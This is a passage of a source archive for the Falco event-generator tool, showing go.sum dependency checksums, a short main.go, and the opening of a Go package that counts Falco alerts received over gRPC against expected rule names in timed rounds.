github.com/mailru/easyjson v0.7.7 h1:UGYAvKxe3sBsEDzO8ZeWOSlIQfWFlxbzLZe7hwFURr0=
github.com/mailru/easyjson v0.7.7/go.mod h1:xzfreul335JAWq5oZzymOObrkdz5UnU4kGfJJLY9Nlc=
github.com/mitchellh/go-homedir v1.1.0 h1:lukF9ziXFxDFPkA1vsr5zpc1XuPDn/wFntq5mG+4E0Y=
github.com/mitchellh/go-homedir v1.1.0/go.mod h1:SfyaCUpYCn1Vlf4IUYiD9fPX4A5wJrkLzIz1N1q0pr0=
github.com/mitchellh/go-wordwrap v1.0.1 h1:TLuKupo69TCn6TQSyGxwI1EblZZEsQ0vMlAFQflz0v0=
github.com/mitchellh/go-wordwrap v1.0.1/go.mod h1:R62XHJLzvMFRBbcrT7m7WgmE1eOyTSsCt+hzestvNj0=
github.com/mitchellh/mapstructure v1.5.0 h1:jeMsZIYE/09sWLaz43PL7Gy6RuMjD2eJVyuac5Z2hdY=
github.com/mitchellh/mapstructure v1.5.0/go.mod h1:bFUtVrKA4DC2yAKiSyO/QUcy7e+RRV2QTWOzhPopBRo=
github.com/moby/spdystream v0.5.0 h1:7r0J1Si3QO/kjRitvSLVVFUjxMEb/YLj6S9FF62JBCU=
github.com/moby/spdystream v0.5.0/go.mod h1:xBAYlnt/ay+11ShkdFKNAG7LsyK/tmNBVvVOwrfMgdI=
github.com/moby/term v0.5.0 h1:xt8Q1nalod/v7BqbG21f8mQPqH+xAaC9C3N3wfWbVP0=
github.com/moby/term v0.5.0/go.mod h1:8FzsFHVUBGZdbDsJw/ot+X+d5HLUbvklYLJ9uGfcI3Y=
github.com/modern-go/concurrent v0.0.0-20180228061459-e0a39a4cb421/go.mod h1:6dJC0mAP4ikYIbvyc7fijjWJddQyLn8Ig3JB5CqoB9Q=
github.com/modern-go/concurrent v0.0.0-20180306012644-bacd9c7ef1dd h1:TRLaZ9cD/w8PVh93nsPXa1VrQ6jlwL5oN8l14QlcNfg=
github.com/modern-go/concurrent v0.0.0-20180306012644-bacd9c7ef1dd/go.mod h1:6dJC0mAP4ikYIbvyc7fijjWJddQyLn8Ig3JB5CqoB9Q=
github.com/modern-go/reflect2 v1.0.2 h1:xBagoLtFs94CBntxluKeaWgTMpvLxC4ur3nMaC9Gz0M=
github.com/modern-go/reflect2 v1.0.2/go.mod h1:yWuevngMOJpCy52FWWMvUC8ws7m/LJsjYzDa0/r8luk=
github.com/monochromegane/go-gitignore v0.0.0-20200626010858-205db1a8cc00 h1:n6/2gBQ3RWajuToeY6ZtZTIKv2v7ThUy5KKusIT0yc0=
github.com/monochromegane/go-gitignore v0.0.0-20200626010858-205db1a8cc00/go.mod h1:Pm3mSP3c5uWn86xMLZ5Sa7JB9GsEZySvHYXCTK4E9q4=
github.com/munnerz/goautoneg v0.0.0-20191010083416-a7dc8b61c822 h1:C3w9PqII01/Oq1c1nUAm88MOHcQC9l5mIlSMApZMrHA=
github.com/munnerz/goautoneg v0.0.0-20191010083416-a7dc8b61c822/go.mod h1:+n7T8mK8HuQTcFwEeznm/DIxMOiR9yIdICNftLE1DvQ=
github.com/mxk/go-flowrate v0.0.0-20140419014527-cca7078d478f h1:y5//uYreIhSUg3J1GEMiLbxo1LJaP8RfCpH6pymGZus=
github.com/mxk/go-flowrate v0.0.0-20140419014527-cca7078d478f/go.mod h1:ZdcZmHo+o7JKHSa8/e818NopupXU1YMK5fe1lsApnBw=
github.com/onsi/ginkgo/v2 v2.19.0 h1:9Cnnf7UHo57Hy3k6/m5k3dRfGTMXGvxhHFvkDTCTpvA=
github.com/onsi/ginkgo/v2 v2.19.0/go.mod h1:rlwLi9PilAFJ8jCg9UE1QP6VBpd6/xj3SRC0d6TU0To=
github.com/onsi/gomega v1.33.1 h1:dsYjIxxSR755MDmKVsaFQTE22ChNBcuuTWgkUDSubOk=
github.com/onsi/gomega v1.33.1/go.mod h1:U4R44UsT+9eLIaYRB2a5qajjtQYn0hauxvRm16AVYg0=
github.com/pelletier/go-toml/v2 v2.2.3 h1:YmeHyLY8mFWbdkNWwpr+qIL2bEqT0o95WSdkNHvL12M=
github.com/pelletier/go-toml/v2 v2.2.3/go.mod h1:MfCQTFTvCcUyyvvwm1+G6H/jORL20Xlb6rzQu9GuUkc=
github.com/peterbourgon/diskv v2.0.1+incompatible h1:UBdAOUP5p4RWqPBg048CAvpKN+vxiaj6gdUUzhl4XmI=
github.com/peterbourgon/diskv v2.0.1+incompatible/go.mod h1:uqqh8zWWbv1HBMNONnaR/tNboyR3/BZd58JJSHlUSCU=
github.com/pkg/errors v0.9.1 h1:FEBLx1zS214owpjy7qsBeixbURkuhQAwrK5UwLGTwt4=
github.com/pkg/errors v0.9.1/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0=
github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4=
github.com/pmezard/go-difflib v1.0.1-0.20181226105442-5d4384ee4fb2 h1:Jamvg5psRIccs7FGNTlIRMkT8wgtp5eCXdBlqhYGL6U=
github.com/pmezard/go-difflib v1.0.1-0.20181226105442-5d4384ee4fb2/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4=
github.com/prometheus/procfs v0.15.1 h1:YagwOFzUgYfKKHX6Dr+sHT7km/hxC76UB0learggepc=
github.com/prometheus/procfs v0.15.1/go.mod h1:fB45yRUv8NstnjriLhBQLuOUt+WW4BsoGhij/e3PBqk=
github.com/rogpeppe/go-internal v1.12.0 h1:exVL4IDcn6na9z1rAb56Vxr+CgyK3nn3O+epU5NdKM8=
github.com/rogpeppe/go-internal v1.12.0/go.mod h1:E+RYuTGaKKdloAfM02xzb0FW3Paa99yedzYV+kq4uf4=
github.com/russross/blackfriday/v2 v2.1.0 h1:JIOH55/0cWyOuilr9/qlrm0BSXldqnqwMsf35Ld67mk=
github.com/russross/blackfriday/v2 v2.1.0/go.mod h1:+Rmxgy9KzJVeS9/2gXHxylqXiyQDYRxCVz55jmeOWTM=
github.com/sagikazarmark/locafero v0.6.0 h1:ON7AQg37yzcRPU69mt7gwhFEBwxI6P9T4Qu3N51bwOk=
github.com/sagikazarmark/locafero v0.6.0/go.mod h1:77OmuIc6VTraTXKXIs/uvUxKGUXjE1GbemJYHqdNjX0=
github.com/sagikazarmark/slog-shim v0.1.0 h1:diDBnUNK9N/354PgrxMywXnAwEr1QZcOr6gto+ugjYE=
github.com/sagikazarmark/slog-shim v0.1.0/go.mod h1:SrcSrq8aKtyuqEI1uvTDTK1arOWRIczQRv+GVI1AkeQ=
github.com/sergi/go-diff v1.2.0 h1:XU+rvMAioB0UC3q1MFrIQy4Vo5/4VsRDQQXHsEya6xQ=
github.com/sergi/go-diff v1.2.0/go.mod h1:STckp+ISIX8hZLjrqAeVduY0gWCT9IjLuqbuNXdaHfM=
github.com/sirupsen/logrus v1.9.3 h1:dueUQJ1C2q9oE3F7wvmSGAaVtTmUizReu6fjN8uqzbQ=
github.com/sirupsen/logrus v1.9.3/go.mod h1:naHLuLoDiP4jHNo9R0sCBMtWGeIprob74mVsIT4qYEQ=
github.com/sourcegraph/conc v0.3.0 h1:OQTbbt6P72L20UqAkXXuLOj79LfEanQ+YQFNpLA9ySo=
github.com/sourcegraph/conc v0.3.0/go.mod h1:Sdozi7LEKbFPqYX2/J+iBAM6HpqSLTASQIKqDmF7Mt0=
github.com/spf13/afero v1.11.0 h1:WJQKhtpdm3v2IzqG8VMqrr6Rf3UYpEF239Jy9wNepM8=
github.com/spf13/afero v1.11.0/go.mod h1:GH9Y3pIexgf1MTIWtNGyogA5MwRIDXGUr+hbWNoBjkY=
github.com/spf13/cast v1.7.0 h1:ntdiHjuueXFgm5nzDRdOS4yfT43P5Fnud6DH50rz/7w=
github.com/spf13/cast v1.7.0/go.mod h1:ancEpBxwJDODSW/UG4rDrAqiKolqNNh2DX3mk86cAdo=
github.com/spf13/cobra v1.8.1 h1:e5/vxKd/rZsfSJMUX1agtjeTDf+qv1/JdBF8gg5k9ZM=
github.com/spf13/cobra v1.8.1/go.mod h1:wHxEcudfqmLYa8iTfL+OuZPbBZkmvliBWKIezN3kD9Y=
github.com/spf13/pflag v1.0.5 h1:iy+VFUOCP1a+8yFto/drg2CJ5u0yRoB7fZw3DKv/JXA=
github.com/spf13/pflag v1.0.5/go.mod h1:McXfInJRrz4CZXVZOBLb0bTZqETkiAhM9Iw0y3An2Bg=
github.com/spf13/viper v1.19.0 h1:RWq5SEjt8o25SROyN3z2OrDB9l7RPd3lwTWU8EcEdcI=
github.com/spf13/viper v1.19.0/go.mod h1:GQUN9bilAbhU/jgc1bKs99f/suXKeUMct8Adx5+Ntkg=
github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME=
github.com/stretchr/objx v0.5.2 h1:xuMeJ0Sdp5ZMRXx/aWO6RZxdr3beISkG5/G/aIRr3pY=
github.com/stretchr/objx v0.5.2/go.mod h1:FRsXN1f5AsAjCGJKqEizvkpNtU+EGNCLh3NxZ/8L+MA=
github.com/stretchr/testify v1.3.0/go.mod h1:M5WIy9Dh21IEIfnGCwXGc5bZfKNJtfHm1UVUgZn+9EI=
github.com/stretchr/testify v1.6.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg=
github.com/stretchr/testify v1.7.0/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg=
github.com/stretchr/testify v1.9.0 h1:HtqpIVDClZ4nwg75+f6Lvsy/wHu+3BoSGCbBAcpTsTg=
github.com/stretchr/testify v1.9.0/go.mod h1:r2ic/lqez/lEtzL7wO/rwa5dbSLXVDPFyf8C91i36aY=
github.com/subosito/gotenv v1.6.0 h1:9NlTDc1FTs4qu0DDq7AEtTPNw6SVm7uBMsUCUjABIf8=
github.com/subosito/gotenv v1.6.0/go.mod h1:Dk4QP5c2W3ibzajGcXpNraDfq2IrhjMIvMSWPKKo0FU=
github.com/x448/float16 v0.8.4 h1:qLwI1I70+NjRFUR3zs1JPUCgaCXSh3SW62uAKT1mSBM=
github.com/x448/float16 v0.8.4/go.mod h1:14CWIYCyZA/cWjXOioeEpHeN/83MdbZDRQHoFcYsOfg=
github.com/xlab/treeprint v1.2.0 h1:HzHnuAF1plUN2zGlAFHbSQP2qJ0ZAD3XF5XD7OesXRQ=
github.com/xlab/treeprint v1.2.0/go.mod h1:gj5Gd3gPdKtR1ikdDK6fnFLdmIS0X30kTTuNd/WEJu0=
github.com/yuin/goldmark v1.1.27/go.mod h1:3hX8gzYuyVAZsxl0MRgGTJEmQBFcNTphYh9decYSb74=
github.com/yuin/goldmark v1.2.1/go.mod h1:3hX8gzYuyVAZsxl0MRgGTJEmQBFcNTphYh9decYSb74=
go.starlark.net v0.0.0-20240725214946-42030a7cedce h1:YyGqCjZtGZJ+mRPaenEiB87afEO2MFRzLiJNZ0Z0bPw=
go.starlark.net v0.0.0-20240725214946-42030a7cedce/go.mod h1:YKMCv9b1WrfWmeqdV5MAuEHWsu5iC+fe6kYl2sQjdI8=
go.uber.org/goleak v1.3.0 h1:2K3zAYmnTNqV73imy9J1T3WC+gmCePx2hEGkimedGto=
go.uber.org/goleak v1.3.0/go.mod h1:CoHD4mav9JJNrW/WLlf7HGZPjdw8EucARQHekz1X6bE=
go.uber.org/multierr v1.11.0 h1:blXXJkSxSSfBVBlC76pxqeO+LN3aDfLQo+309xJstO0=
go.uber.org/multierr v1.11.0/go.mod h1:20+QtiLqy0Nd6FdQB9TLXag12DsQkrbs3htMFfDN80Y=
golang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w=
golang.org/x/crypto v0.0.0-20191011191535-87dc89f01550/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI=
golang.org/x/crypto v0.0.0-20200622213623-75b288015ac9/go.mod h1:LzIPMQfyMNhhGPhUkYOs5KpL4U8rLKemX1yGLhDgUto=
golang.org/x/crypto v0.27.0 h1:GXm2NjJrPaiv/h1tb2UH8QfgC/hOf/+z0p6PT8o1w7A=
golang.org/x/crypto v0.27.0/go.mod h1:1Xngt8kV6Dvbssa53Ziq6Eqn0HqbZi5Z6R0ZpwQzt70=
golang.org/x/exp v0.0.0-20240909161429-701f63a606c0 h1:e66Fs6Z+fZTbFBAxKfP3PALWBtpfqks2bwGcexMxgtk=
golang.org/x/exp v0.0.0-20240909161429-701f63a606c0/go.mod h1:2TbTHSBQa924w8M6Xs1QcRcFwyucIwBGpK1p2f1YFFY=
golang.org/x/mod v0.2.0/go.mod h1:s0Qsj1ACt9ePp/hMypM3fl4fZqREWJwdYDEqhRiZZUA=
golang.org/x/mod v0.3.0/go.mod h1:s0Qsj1ACt9ePp/hMypM3fl4fZqREWJwdYDEqhRiZZUA=
golang.org/x/net v0.0.0-20190404232315-eb5bcb51f2a3/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg=
golang.org/x/net v0.0.0-20190620200207-3b0461eec859/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s=
golang.org/x/net v0.0.0-20200226121028-0de0cce0169b/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s=
golang.org/x/net v0.0.0-20201021035429-f5854403a974/go.mod h1:sp8m0HH+o8qH0wwXwYZr8TS3Oi6o0r6Gce1SSxlDquU=
golang.org/x/net v0.29.0 h1:5ORfpBpCs4HzDYoodCDBbwHzdR5UrLBZ3sOnUJmFoHo=
golang.org/x/net v0.29.0/go.mod h1:gLkgy8jTGERgjzMic6DS9+SP0ajcu6Xu3Orq/SpETg0=
golang.org/x/oauth2 v0.23.0 h1:PbgcYx2W7i4LvjJWEbf0ngHV6qJYr86PkAV3bXdLEbs=
golang.org/x/oauth2 v0.23.0/go.mod h1:XYTD2NtWslqkgxebSiOHnXEap4TF09sJSc7H1sXbhtI=
golang.org/x/sync v0.0.0-20190423024810-112230192c58/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
golang.org/x/sync v0.0.0-20190911185100-cd5d95a43a6e/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
golang.org/x/sync v0.0.0-20201020160332-67f06af15bc9/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
golang.org/x/sync v0.8.0 h1:3NFvSEYkUoMifnESzZl15y791HH1qU2xm6eCJU5ZPXQ=
golang.org/x/sync v0.8.0/go.mod h1:Czt+wKu1gCyEFDUtn0jG5QVvpJ6rzVqr5aXyt9drQfk=
golang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
golang.org/x/sys v0.0.0-20190412213103-97732733099d/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20200930185726-fdedc70b468f/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20210616094352-59db8d763f22/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.0.0-20220715151400-c0bba94af5f8/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.25.0 h1:r+8e+loiHxRqhXVl6ML1nO3l1+oFoWbnlu2Ehimmi34=
golang.org/x/sys v0.25.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA=
golang.org/x/term v0.24.0 h1:Mh5cbb+Zk2hqqXNO7S1iTjEphVL+jb8ZWaqh/g+JWkM=
golang.org/x/term v0.24.0/go.mod h1:lOBK/LVxemqiMij05LGJ0tzNr8xlmwBRJ81PX6wVLH8=
golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ=
golang.org/x/text v0.3.3/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ=
golang.org/x/text v0.18.0 h1:XvMDiNzPAl0jr17s6W9lcaIhGUfUORdGCNsuLmPG224=
golang.org/x/text v0.18.0/go.mod h1:BuEKDfySbSR4drPmRPG/7iBdf8hvFMuRexcpahXilzY=
golang.org/x/time v0.6.0 h1:eTDhh4ZXt5Qf0augr54TN6suAUudPcawVZeIAPU7D4U=
golang.org/x/time v0.6.0/go.mod h1:3BpzKBy/shNhVucY/MWOyx10tF3SFh9QdLuxbVysPQM=
golang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ=
golang.org/x/tools v0.0.0-20191119224855-298f0cb1881e/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo=
golang.org/x/tools v0.0.0-20200619180055-7c47624df98f/go.mod h1:EkVYQZoAsY45+roYkvgYkIh4xh/qjgUK9TdY2XT94GE=
golang.org/x/tools v0.0.0-20210106214847-113979e3529a/go.mod h1:emZCQorbCU4vsT4fOWvOPXz4eW1wZW4PmDk9uLelYpA=
golang.org/x/tools v0.25.0 h1:oFU9pkj/iJgs+0DT+VMHrx+oBKs/LJMV+Uvg78sl+fE=
golang.org/x/tools v0.25.0/go.mod h1:/vtpO8WL1N9cQC3FN5zPqb//fRXskFHbLKk4OW1Q7rg=
golang.org/x/xerrors v0.0.0-20190717185122-a985d3407aa7/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
golang.org/x/xerrors v0.0.0-20191011141410-1b5146add898/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
golang.org/x/xerrors v0.0.0-20191204190536-9bdfabe68543/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
golang.org/x/xerrors v0.0.0-20200804184101-5ec99f83aff1/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
google.golang.org/genproto/googleapis/rpc v0.0.0-20240903143218-8af14fe29dc1 h1:pPJltXNxVzT4pK9yD8vR9X75DaWYYmLGMsEvBfFQZzQ=
google.golang.org/genproto/googleapis/rpc v0.0.0-20240903143218-8af14fe29dc1/go.mod h1:UqMtugtsSgubUsoxbuAoiCXvqvErP7Gf0so0mK9tHxU=
google.golang.org/grpc v1.66.2 h1:3QdXkuq3Bkh7w+ywLdLvM56cmGvQHUMZpiCzt6Rqaoo=
google.golang.org/grpc v1.66.2/go.mod h1:s3/l6xSSCURdVfAnL+TqCNMyTDAGN6+lZeVxnZR128Y=
google.golang.org/protobuf v1.34.2 h1:6xV6lTsCfpGD21XK49h7MhtcApnLqkfYgPcdHftf6hg=
google.golang.org/protobuf v1.34.2/go.mod h1:qYOHts0dSfpeUzUFpOMr/WGzszTmLH+DiWniOlNbLDw=
gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
gopkg.in/check.v1 v1.0.0-20201130134442-10cb98267c6c h1:Hei/4ADfdWqJk1ZMxUNpqntNwaWcugrBjAiHlqqRiVk=
gopkg.in/check.v1 v1.0.0-20201130134442-10cb98267c6c/go.mod h1:JHkPIbrfpd72SG/EVd6muEfDQjcINNoR0C8j2r3qZ4Q=
gopkg.in/evanphx/json-patch.v4 v4.12.0 h1:n6jtcsulIzXPJaxegRbvFNNrZDjbij7ny3gmSPG+6V4=
gopkg.in/evanphx/json-patch.v4 v4.12.0/go.mod h1:p8EYWUEYMpynmqDbY58zCKCFZw8pRWMG4EsWvDvM72M=
gopkg.in/inf.v0 v0.9.1 h1:73M5CoZyi3ZLMOyDlQh031Cx6N9NDJ2Vvfl76EDAgDc=
gopkg.in/inf.v0 v0.9.1/go.mod h1:cWUDdTG/fYaXco+Dcufb5Vnc6Gp2YChqWtbxRZE0mXw=
gopkg.in/ini.v1 v1.67.0 h1:Dgnx+6+nfE+IfzjUEISNeydPJh9AXNNsWbGP9KzCsOA=
gopkg.in/ini.v1 v1.67.0/go.mod h1:pNLf8WUiyNEtQjuu5G5vTm06TEv9tsIgeAvK8hOrP4k=
gopkg.in/yaml.v2 v2.2.8/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI=
gopkg.in/yaml.v2 v2.4.0 h1:D8xgwECY7CYvx+Y2n4sBz93Jn9JRvxdiyyo8CTfuKaY=
gopkg.in/yaml.v2 v2.4.0/go.mod h1:RDklbk79AGWmwhnvt/jBztapEOGDOx6ZbXqjP6csGnQ=
gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA=
gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
k8s.io/api v0.31.1 h1:Xe1hX/fPW3PXYYv8BlozYqw63ytA92snr96zMW9gWTU=
k8s.io/api v0.31.1/go.mod h1:sbN1g6eY6XVLeqNsZGLnI5FwVseTrZX7Fv3O26rhAaI=
k8s.io/apimachinery v0.31.1 h1:mhcUBbj7KUjaVhyXILglcVjuS4nYXiwC+KKFBgIVy7U=
k8s.io/apimachinery v0.31.1/go.mod h1:rsPdaZJfTfLsNJSQzNHQvYoTmxhoOEofxtOsF3rtsMo=
k8s.io/cli-runtime v0.31.1 h1:/ZmKhmZ6hNqDM+yf9s3Y4KEYakNXUn5sod2LWGGwCuk=
k8s.io/cli-runtime v0.31.1/go.mod h1:pKv1cDIaq7ehWGuXQ+A//1OIF+7DI+xudXtExMCbe9U=
k8s.io/client-go v0.31.1 h1:f0ugtWSbWpxHR7sjVpQwuvw9a3ZKLXX0u0itkFXufb0=
k8s.io/client-go v0.31.1/go.mod h1:sKI8871MJN2OyeqRlmA4W4KM9KBdBUpDLu/43eGemCg=
k8s.io/component-base v0.31.1 h1:UpOepcrX3rQ3ab5NB6g5iP0tvsgJWzxTyAo20sgYSy8=
k8s.io/component-base v0.31.1/go.mod h1:WGeaw7t/kTsqpVTaCoVEtillbqAhF2/JgvO0LDOMa0w=
k8s.io/klog/v2 v2.130.1 h1:n9Xl7H1Xvksem4KFG4PYbdQCQxqc/tTUyrgXaOhHSzk=
k8s.io/klog/v2 v2.130.1/go.mod h1:3Jpz1GvMt720eyJH1ckRHK1EDfpxISzJ7I9OYgaDtPE=
k8s.io/kube-openapi v0.0.0-20240903163716-9e1beecbcb38 h1:1dWzkmJrrprYvjGwh9kEUxmcUV/CtNU8QM7h1FLWQOo=
k8s.io/kube-openapi v0.0.0-20240903163716-9e1beecbcb38/go.mod h1:coRQXBK9NxO98XUv3ZD6AK3xzHCxV6+b7lrquKwaKzA=
k8s.io/kubectl v0.31.1 h1:ih4JQJHxsEggFqDJEHSOdJ69ZxZftgeZvYo7M/cpp24=
k8s.io/kubectl v0.31.1/go.mod h1:aNuQoR43W6MLAtXQ/Bu4GDmoHlbhHKuyD49lmTC8eJM=
k8s.io/utils v0.0.0-20240902221715-702e33fdd3c3 h1:b2FmK8YH+QEwq/Sy2uAEhmqL5nPfGYbJOcaqjeYYZoA=
k8s.io/utils v0.0.0-20240902221715-702e33fdd3c3/go.mod h1:OLgZIPagt7ERELqWJFomSt595RzquPNLL48iOWgYOg0=
sigs.k8s.io/json v0.0.0-20221116044647-bc3834ca7abd h1:EDPBXCAspyGV4jQlpZSudPeMmr1bNJefnuqLsRAsHZo=
sigs.k8s.io/json v0.0.0-20221116044647-bc3834ca7abd/go.mod h1:B8JuhiUyNFVKdsE8h686QcCxMaH6HrOAZj4vswFpcB0=
sigs.k8s.io/kustomize/api v0.17.3 h1:6GCuHSsxq7fN5yhF2XrC+AAr8gxQwhexgHflOAD/JJU=
sigs.k8s.io/kustomize/api v0.17.3/go.mod h1:TuDH4mdx7jTfK61SQ/j1QZM/QWR+5rmEiNjvYlhzFhc=
sigs.k8s.io/kustomize/kyaml v0.17.2 h1:+AzvoJUY0kq4QAhH/ydPHHMRLijtUKiyVyh7fOSshr0=
sigs.k8s.io/kustomize/kyaml v0.17.2/go.mod h1:9V0mCjIEYjlXuCdYsSXvyoy2BTsLESH7TlGV81S282U=
sigs.k8s.io/structured-merge-diff/v4 v4.4.1 h1:150L+0vs/8DA78h1u02ooW1/fFq/Lwr+sGiqlzvrtq4=
sigs.k8s.io/structured-merge-diff/v4 v4.4.1/go.mod h1:N8hJocpFajUSSeSJ9bOZ77VzejKZaXsTtZo4/u7Io08=
sigs.k8s.io/yaml v1.4.0 h1:Mk1wCc2gy/F0THH0TAp1QYyJNzRm2KCLy3o5ASXVI5E=
sigs.k8s.io/yaml v1.4.0/go.mod h1:Ejl7/uTz7PSA4eKMyQCUTnhZYNmLIl+5c2lQPGR2BPY=
07070100000085000081A400000000000000000000000166F189F1000002C7000000000000000000000000000000000000002500000000falco-event-generator-0.12.0/main.go// SPDX-License-Identifier: Apache-2.0
/*
Copyright (C) 2023 The Falco Authors.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
    http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/

package main

import (
	"github.com/falcosecurity/event-generator/cmd"
)

func main() {
	cmd.Execute()
}
07070100000086000041ED00000000000000000000000266F189F100000000000000000000000000000000000000000000002100000000falco-event-generator-0.12.0/pkg07070100000087000041ED00000000000000000000000266F189F100000000000000000000000000000000000000000000002900000000falco-event-generator-0.12.0/pkg/counter07070100000088000081A400000000000000000000000166F189F10000169F000000000000000000000000000000000000003400000000falco-event-generator-0.12.0/pkg/counter/counter.go// SPDX-License-Identifier: Apache-2.0
/*
Copyright (C) 2023 The Falco Authors.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
    http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/

package counter

import (
	"context"
	"sync"
	"sync/atomic"
	"time"

	"github.com/falcosecurity/client-go/pkg/api/outputs"
	"github.com/falcosecurity/client-go/pkg/client"
	"github.com/falcosecurity/event-generator/events"
	"github.com/prometheus/procfs"
	logger "github.com/sirupsen/logrus"
)

type stat struct {
	actual   uint64
	expected uint64
}

// Counter is a plugin that
type Counter struct {
	i        uint64
	sleep    int64
	loop     bool
	humanize bool
	dryRun   bool
	log      *logger.Logger
	ticker   *time.Ticker
	tickD    time.Duration
	lastT    time.Time
	outs     outputs.ServiceClient
	pTimeout time.Duration
	proc     *procfs.Proc
	lastS    *procfs.ProcStat
	actions  []string
	list     map[string]*stat
	sync.RWMutex
}

// New returns a new Counter instance.
func New(ctx context.Context, config *client.Config, options ...Option) (*Counter, error) {
	c, err := client.NewForConfig(ctx, config)
	if err != nil {
		return nil, err
	}
	outs, err := c.Outputs()
	if err != nil {
		return nil, err
	}
	cntr := &Counter{
		outs: outs,
	}
	if err := Options(options).Apply(cntr); err != nil {
		return nil, err
	}

	if cntr.log == nil {
		cntr.log = logger.New()
	}

	cntr.list = make(map[string]*stat, len(cntr.actions))
	for _, n := range cntr.actions {
		cntr.list[n] = &stat{}
	}

	if !cntr.dryRun {
		fcs, err := cntr.outs.Sub(ctx)
		if err != nil {
			return nil, err
		}

		go cntr.watcher(ctx, fcs)
	}

	if cntr.tickD > 0 {
		go cntr.clock(ctx, cntr.tickD)
	}

	return cntr, nil
}

func (c *Counter) watcher(ctx context.Context, fcs outputs.Service_SubClient) {
	err := client.OutputsWatch(ctx, fcs, func(res *outputs.Response) error {
		for n := range c.list {
			if events.MatchRule(n, res.Rule) {
				s := c.list[n]
				atomic.AddUint64(&s.actual, 1)
				break
			}
		}
		return nil
	}, c.pTimeout)
	if err != nil {
		c.log.WithError(err).Error("gRPC error")
	}
}

func (c *Counter) clock(ctx context.Context, d time.Duration) {
	c.ticker = time.NewTicker(d)
	c.lastT = time.Now()
	running := true
	round := 1
	logEntry := c.log.WithField("sleep", time.Duration(c.sleep))
	if c.dryRun {
		logEntry = logEntry.WithField("dry-run", true)
	}
	logEntry.Infof("round #%d", round)
	for {
		select {
		case t := <-c.ticker.C:
			if running {
				// round completed, rest for a while before collecting stats
				c.Lock()
				c.log.Info("resting...")
			} else {
				// collecting stats (while still locked)
				c.logStats()
				c.reset(t)

				// start a new round
				c.Unlock()
				round++
				c.log.Info("") // empty line for improved readability
				logEntry.WithField("sleep", time.Duration(c.sleep)).Infof("round #%d", round)
			}
			running = !running
		case <-ctx.Done():
			c.ticker.Stop()
			if !running {
				c.Unlock()
			}
			return
		}
	}
}

func (c *Counter) reset(t time.Time) {

	c.lastT = t
	c.i = 0

	dirty := false
	invalid := false
